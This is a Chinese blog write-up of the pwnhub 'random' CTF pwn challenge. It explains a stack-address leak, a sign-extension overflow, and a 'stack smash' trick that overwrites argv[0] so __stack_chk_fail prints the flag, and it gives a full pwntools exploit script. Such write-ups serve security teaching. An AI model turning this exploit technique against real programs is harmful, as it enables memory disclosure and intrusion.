Loading

pwnhub公开赛二期PWN-random

pwnhub公开赛二期PWN-random

总结

根据本题,学习与收获有:

  • 有时候IDA反编译出来的代码不一定准确,需要结合汇编代码进行分析
  • 之前的__stack_chk_fail函数,如果把args[0]处的地址覆盖为存储flag的地址,那么检测到canary被修改的时候,就会把flag打印出来

题目分析

checksec

保护全开

函数分析

部分函数已重命名!

main

main函数中,调用了初始化函数,还有prctl函数,以及读取用户输入,输出一段欢迎信息。

这里因为buf距离rsp0x20,如果完全读满0x10个字符,很可能会泄露出栈地址。

initial

没啥好看的

set_prctl

可以用seccomp-tools检测一下

禁用了execve

vuln

这个函数的处理流程为:

  • 读取flag到栈变量buf
  • 打印出了buf的低1个字节的地址
  • 读取一个正整数num
  • 读取用户输入,向栈变量v4里面读取(char)(num & 0x80)个字符
get_num

读取一个正整数

read_input

就是从stdin中读取输入,遇到\x0a结束。

漏洞点

漏洞点1:printf泄露出栈地址

main函数的分析中指出,如果输入name的时候,长度恰好为0x10个可打印字符,可能泄露出栈上的内容。可结合gdb调试看一下:

的确能泄露出栈地址!

漏洞点2:任意大小往栈地址写内容

刚开始看IDA的反编译结果,看了半天,没有找到新的漏洞。后来研究了一下汇编代码,结合gdb调试,发现在read_input中,传给这个函数的第二个参数,也就是rsi寄存器的内容。

首先分析一下汇编代码:

dword_20204c就是num & 0x80,接下来是一个movsxd指令,将32位寄存器进行符号扩展到64位寄存器。直接使用$rebase(0xC1F)断点打在read_input函数出,输入整数为0xffff

此时的rsi寄存器存储的内容为0xffffffffffffff80,因此可以溢出写,大小基本不限!

利用思路

由于漏洞点只能泄露出栈地址,虽然有任意大小溢出漏洞,但是由于不知道程序的基地址,也不知道libc的基地址,所以无法使用ROP进行利用。但是考虑到程序本身读取了flag,且开启了canary保护,因此可以尝试利用stack smash打印出flag

知识点

  • stack smash

    开启了canary保护的程序,如果发现canary被修改,就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。argv在很高的栈地址。

  • 如果可以不限制大小地进行栈溢出,可以修改argv[0]为指向flag的字符串地址,就能打印出flag

利用过程

利用步骤:

  • 利用printf打印出栈地址,结合gift地址,得到存储flag栈地址
  • 利用溢出漏洞,覆盖argv[0]flag地址,利用__stack_chk_fail打印出flag

EXP

调试过程

本地调试的时候,随便设置了一个flag文件:

首先需要读取出栈地址和计算出flag地址:

io = process('./random')
io.sendafter("tell me your name\n", 0x10 * 'a')
msg = io.recvline()
leak_stack_addr = u64(msg[-7:-1] + b'\x00\x00' )
LOG_ADDR('leak_stack_addr', leak_stack_addr)
flag_addr = leak_stack_addr - 0x320
msg = io.recvline()
buf_low_addr = int(msg[5 : -1].decode(), base=16)
LOG_ADDR('buf_low_addr', buf_low_addr)
LOG_ADDR('flag_addr', flag_addr)

接下来直接对栈进行溢出,触发stack smash

io.sendafter("leave something?\n", str(0xffff))
io.sendline(p64(flag_addr) * 0x200)
io.interactive()

完整exp

from pwn import *
LOG_ADDR = lambda x, y: log.success("{} ===> {}".format(x, hex(y)))

io = process('./random')
io.sendafter("tell me your name\n", 0x10 * 'a')
msg = io.recvline()
leak_stack_addr = u64(msg[-7:-1] + b'\x00\x00' )
LOG_ADDR('leak_stack_addr', leak_stack_addr)
flag_addr = leak_stack_addr - 0x320
msg = io.recvline()
buf_low_addr = int(msg[5 : -1].decode(), base=16)
LOG_ADDR('buf_low_addr', buf_low_addr)
LOG_ADDR('flag_addr', flag_addr)

io.sendafter("leave something?\n", str(0xffff))
io.sendline(p64(flag_addr) * 0x200)
io.interactive()

最后远程打的flag为:

引用与参考

stack smash: https://ctf-wiki.org/pwn/linux/stackoverflow/fancy-rop/#stack-smash

posted @ 2021-06-04 22:39  LynneHuan  阅读(305)  评论(0编辑  收藏  举报